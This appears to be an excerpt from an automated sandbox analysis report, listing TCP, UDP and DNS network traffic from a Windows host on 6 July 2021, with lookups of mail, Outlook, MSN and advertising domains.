Jul 6, 2021 14:31:46.175329924 CEST	49835	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.175539970 CEST	443	49836	82.165.229.54	192.168.2.5
Jul 6, 2021 14:31:46.176316977 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.176321983 CEST	49836	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:46.176903009 CEST	443	49837	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.176927090 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.177711964 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.177747011 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.177767038 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.177792072 CEST	443	49837	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.177813053 CEST	443	49837	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.177829027 CEST	443	49837	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.177829027 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.177845955 CEST	49837	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.177850962 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.179483891 CEST	49837	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.180222034 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.180238008 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.183490992 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.188286066 CEST	49837	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.188309908 CEST	49837	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.222115993 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.225444078 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.225462914 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.226047993 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.226146936 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.226175070 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.226186991 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.229233027 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.229300022 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.230062962 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.230077028 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.230146885 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.230160952 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.234539986 CEST	443	49837	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.235277891 CEST	443	49837	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.235296965 CEST	443	49837	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.235307932 CEST	443	49837	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.235384941 CEST	49837	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.235409021 CEST	49837	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.245517969 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.245556116 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.245579004 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247562885 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.247800112 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247817039 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247827053 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247839928 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247850895 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247859955 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247872114 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247884989 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247895002 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.247900963 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247914076 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247925043 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247931957 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247935057 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.247937918 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.247946978 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247961044 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247972012 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.247973919 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.247991085 CEST	443	49828	82.165.229.59	192.168.2.5
Jul 6, 2021 14:31:46.248013973 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.248018026 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.251499891 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:46.269668102 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.271492958 CEST	49837	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:46.314553022 CEST	443	49838	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:46.316577911 CEST	443	49837	82.165.229.16	192.168.2.5
Jul 6, 2021 14:31:47.155535936 CEST	49825	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:47.155627966 CEST	49826	443	192.168.2.5	82.165.229.87
Jul 6, 2021 14:31:47.155726910 CEST	49827	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:47.155903101 CEST	49837	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:47.155939102 CEST	49831	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:47.155939102 CEST	49828	443	192.168.2.5	82.165.229.59
Jul 6, 2021 14:31:47.155946970 CEST	49832	443	192.168.2.5	142.250.180.206
Jul 6, 2021 14:31:47.156079054 CEST	49835	443	192.168.2.5	82.165.229.54
Jul 6, 2021 14:31:47.156091928 CEST	49838	443	192.168.2.5	82.165.229.16
Jul 6, 2021 14:31:47.156148911 CEST	49836	443	192.168.2.5	82.165.229.54

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 6, 2021 14:29:29.943142891 CEST	51165	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:29.995661020 CEST	53	51165	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:30.812834024 CEST	53183	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:30.881769896 CEST	53	53183	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:30.989844084 CEST	57587	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:31.038825035 CEST	53	57587	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:31.067869902 CEST	55432	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:31.114783049 CEST	53	55432	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:32.230298996 CEST	64936	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:32.277241945 CEST	53	64936	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:33.147913933 CEST	52704	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:33.208245993 CEST	53	52704	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:34.089509010 CEST	52212	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:34.148663998 CEST	53	52212	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:35.217618942 CEST	54302	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:35.272053957 CEST	53	54302	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:39.328589916 CEST	53784	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:39.384221077 CEST	53	53784	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:40.798919916 CEST	65307	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:40.853249073 CEST	53	65307	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:41.081710100 CEST	64344	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:41.130721092 CEST	53	64344	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:41.673899889 CEST	62060	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:41.690532923 CEST	61805	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:41.728622913 CEST	53	62060	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:41.746928930 CEST	53	61805	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:43.456360102 CEST	54795	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:43.530565023 CEST	53	54795	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:43.765085936 CEST	49557	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:43.820487976 CEST	61733	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:43.832493067 CEST	53	49557	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:43.891489029 CEST	53	61733	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:45.536771059 CEST	65447	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:45.602221966 CEST	53	65447	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:46.354727983 CEST	52441	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:46.427280903 CEST	53	52441	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:47.465858936 CEST	62176	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:47.520665884 CEST	53	62176	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:47.525074959 CEST	59596	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:47.572477102 CEST	53	59596	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:47.859103918 CEST	65296	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:47.905531883 CEST	53	65296	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:49.163252115 CEST	63183	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:49.214751005 CEST	53	63183	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:50.032440901 CEST	60151	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:50.079806089 CEST	53	60151	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:50.940674067 CEST	56969	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:50.990293980 CEST	53	56969	8.8.8.8	192.168.2.5
Jul 6, 2021 14:29:57.195538044 CEST	55161	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:29:57.251926899 CEST	53	55161	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:09.315515041 CEST	54757	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:09.366966009 CEST	53	54757	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:10.374170065 CEST	54757	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:10.423979998 CEST	53	54757	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:10.453500986 CEST	49992	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:10.507942915 CEST	53	49992	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:11.377154112 CEST	54757	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:11.425324917 CEST	53	54757	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:11.470339060 CEST	49992	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:11.527255058 CEST	53	49992	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:12.440968037 CEST	49992	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:12.498545885 CEST	53	49992	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:13.391159058 CEST	54757	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:13.446600914 CEST	53	54757	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:14.450753927 CEST	49992	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:14.497123003 CEST	53	49992	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:17.403690100 CEST	54757	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:17.460444927 CEST	53	54757	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:18.461185932 CEST	49992	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:18.507215977 CEST	53	49992	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:29.635584116 CEST	60075	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:29.681668043 CEST	53	60075	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:30.717554092 CEST	55016	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:30.773945093 CEST	53	55016	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:30.937259912 CEST	64345	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:30.985970974 CEST	53	64345	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:38.283777952 CEST	57128	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:38.317709923 CEST	54791	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:38.331011057 CEST	53	57128	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:38.365072012 CEST	53	54791	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:38.922148943 CEST	50463	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:38.981605053 CEST	53	50463	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:38.997026920 CEST	50394	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:39.054667950 CEST	53	50394	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:39.171510935 CEST	58530	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:39.218691111 CEST	53	58530	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:39.248779058 CEST	53813	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:39.298036098 CEST	53	53813	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:54.043973923 CEST	63732	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:54.100131989 CEST	53	63732	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:54.551923037 CEST	57344	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:54.609510899 CEST	53	57344	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:54.900820971 CEST	54450	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:54.905072927 CEST	59261	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:54.953564882 CEST	57151	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:54.966198921 CEST	53	54450	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:54.974889994 CEST	53	59261	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:55.030720949 CEST	53	57151	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:55.482481003 CEST	59413	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:55.539474010 CEST	53	59413	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:55.945892096 CEST	60516	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:56.005628109 CEST	53	60516	8.8.8.8	192.168.2.5
Jul 6, 2021 14:30:56.525625944 CEST	51649	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:30:56.595302105 CEST	53	51649	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:03.699199915 CEST	65086	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:03.709341049 CEST	56432	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:03.754110098 CEST	53	65086	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:03.764096975 CEST	53	56432	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:03.992826939 CEST	52929	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:03.996511936 CEST	64317	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:04.047784090 CEST	53	52929	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:04.052638054 CEST	53	64317	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:04.364576101 CEST	61004	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:04.384913921 CEST	56895	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:04.403786898 CEST	62372	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:04.418940067 CEST	53	61004	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:04.446772099 CEST	53	56895	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:04.468317986 CEST	53	62372	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:04.481750011 CEST	61515	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:04.490214109 CEST	56675	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:04.515232086 CEST	57172	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:04.527529001 CEST	53	61515	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:04.544985056 CEST	53	56675	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:04.569487095 CEST	53	57172	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:05.024111986 CEST	55267	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:05.027435064 CEST	50969	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:05.079708099 CEST	53	55267	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:05.085069895 CEST	53	50969	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:05.814009905 CEST	64362	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:05.843151093 CEST	61446	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:05.873538971 CEST	54766	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:05.874131918 CEST	53	64362	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:05.901417017 CEST	53	61446	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:05.929377079 CEST	53	54766	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:05.953063965 CEST	57515	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:06.018668890 CEST	53	57515	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:17.926305056 CEST	58199	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:17.983304977 CEST	53	58199	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:22.237039089 CEST	65221	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:22.248397112 CEST	61573	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:22.295660973 CEST	53	65221	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:22.309259892 CEST	53	61573	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:22.898010969 CEST	56562	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:22.952681065 CEST	53	56562	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:23.125015974 CEST	53591	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:23.171340942 CEST	53	53591	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:29.776881933 CEST	59688	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:29.818094015 CEST	56032	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:29.834741116 CEST	53	59688	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:29.873020887 CEST	53	56032	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:33.604751110 CEST	61150	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:33.635018110 CEST	63458	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:33.651194096 CEST	53	61150	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:33.682182074 CEST	53	63458	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:37.868395090 CEST	50422	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:37.896037102 CEST	53247	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:37.915817976 CEST	53	50422	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:37.950942993 CEST	53	53247	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:44.841703892 CEST	58544	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:44.903443098 CEST	53	58544	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:45.059181929 CEST	53814	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:45.114928007 CEST	53	53814	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:45.314415932 CEST	51305	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:45.370172024 CEST	53	51305	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:45.371972084 CEST	53670	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:45.426628113 CEST	53	53670	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:45.711384058 CEST	55160	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:45.757961988 CEST	53	55160	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:45.960805893 CEST	61414	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:46.009474039 CEST	53	61414	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:46.015537024 CEST	63847	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:46.078031063 CEST	53	63847	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:46.823565960 CEST	61523	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:46.824592113 CEST	50551	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:46.870600939 CEST	53	61523	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:46.871083975 CEST	53	50551	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:47.069143057 CEST	62847	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:47.124437094 CEST	53	62847	8.8.8.8	192.168.2.5
Jul 6, 2021 14:31:47.610357046 CEST	57712	53	192.168.2.5	8.8.8.8
Jul 6, 2021 14:31:47.664402962 CEST	53	57712	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 6, 2021 14:29:41.081710100 CEST	192.168.2.5	8.8.8.8	0x5623	Standard query (0)	www.msn.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:43.456360102 CEST	192.168.2.5	8.8.8.8	0xcc19	Standard query (0)	web.vortex.data.msn.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:43.765085936 CEST	192.168.2.5	8.8.8.8	0xb83b	Standard query (0)	geolocation.onetrust.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:43.820487976 CEST	192.168.2.5	8.8.8.8	0x680f	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:45.536771059 CEST	192.168.2.5	8.8.8.8	0x17eb	Standard query (0)	lg3.media.net	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:46.354727983 CEST	192.168.2.5	8.8.8.8	0x1468	Standard query (0)	hblg.media.net	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:47.465858936 CEST	192.168.2.5	8.8.8.8	0x86de	Standard query (0)	cvision.media.net	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:47.859103918 CEST	192.168.2.5	8.8.8.8	0xfdb4	Standard query (0)	srtb.msn.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:29:49.163252115 CEST	192.168.2.5	8.8.8.8	0xf17d	Standard query (0)	img.img-taboola.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:29.635584116 CEST	192.168.2.5	8.8.8.8	0x55e6	Standard query (0)	outlook.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:30.717554092 CEST	192.168.2.5	8.8.8.8	0xa0ca	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:30.937259912 CEST	192.168.2.5	8.8.8.8	0xedd4	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.283777952 CEST	192.168.2.5	8.8.8.8	0x4ee8	Standard query (0)	outlook.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.317709923 CEST	192.168.2.5	8.8.8.8	0x7f7d	Standard query (0)	outlook.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.922148943 CEST	192.168.2.5	8.8.8.8	0x14	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:38.997026920 CEST	192.168.2.5	8.8.8.8	0xf68b	Standard query (0)	www.outlook.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:39.171510935 CEST	192.168.2.5	8.8.8.8	0x4a79	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:39.248779058 CEST	192.168.2.5	8.8.8.8	0x852a	Standard query (0)	outlook.office365.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:54.043973923 CEST	192.168.2.5	8.8.8.8	0x3cdd	Standard query (0)	mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:54.551923037 CEST	192.168.2.5	8.8.8.8	0xe7a9	Standard query (0)	www.mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:54.900820971 CEST	192.168.2.5	8.8.8.8	0x8f30	Standard query (0)	dl.mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:54.905072927 CEST	192.168.2.5	8.8.8.8	0x684c	Standard query (0)	s.uicdn.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:54.953564882 CEST	192.168.2.5	8.8.8.8	0x4612	Standard query (0)	www.googleoptimize.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:55.482481003 CEST	192.168.2.5	8.8.8.8	0xe61c	Standard query (0)	wa.mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:55.945892096 CEST	192.168.2.5	8.8.8.8	0xf53b	Standard query (0)	img.ui-portal.de	A (IP address)	IN (0x0001)
Jul 6, 2021 14:30:56.525625944 CEST	192.168.2.5	8.8.8.8	0x1a5f	Standard query (0)	plus.mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:03.699199915 CEST	192.168.2.5	8.8.8.8	0x2d49	Standard query (0)	mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:03.709341049 CEST	192.168.2.5	8.8.8.8	0x6ff7	Standard query (0)	mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:03.992826939 CEST	192.168.2.5	8.8.8.8	0xefd4	Standard query (0)	www.mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:03.996511936 CEST	192.168.2.5	8.8.8.8	0xa8ed	Standard query (0)	www.mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:04.364576101 CEST	192.168.2.5	8.8.8.8	0x7890	Standard query (0)	dl.mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:04.384913921 CEST	192.168.2.5	8.8.8.8	0xa41e	Standard query (0)	dl.mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:04.403786898 CEST	192.168.2.5	8.8.8.8	0x459f	Standard query (0)	s.uicdn.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:04.481750011 CEST	192.168.2.5	8.8.8.8	0x5140	Standard query (0)	s.uicdn.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:04.490214109 CEST	192.168.2.5	8.8.8.8	0xe1e5	Standard query (0)	www.googleoptimize.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:04.515232086 CEST	192.168.2.5	8.8.8.8	0x6157	Standard query (0)	www.googleoptimize.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:05.814009905 CEST	192.168.2.5	8.8.8.8	0xa988	Standard query (0)	wa.mail.com	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:05.843151093 CEST	192.168.2.5	8.8.8.8	0x182f	Standard query (0)	wa.ui-portal.de	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:05.873538971 CEST	192.168.2.5	8.8.8.8	0x51c	Standard query (0)	wa.ui-portal.de	A (IP address)	IN (0x0001)
Jul 6, 2021 14:31:05.953063965 CEST	192.168.2.5	8.8.8.8	0x4503	Standard query (0)	wa.mail.com	A (IP address)	IN (0x0001)
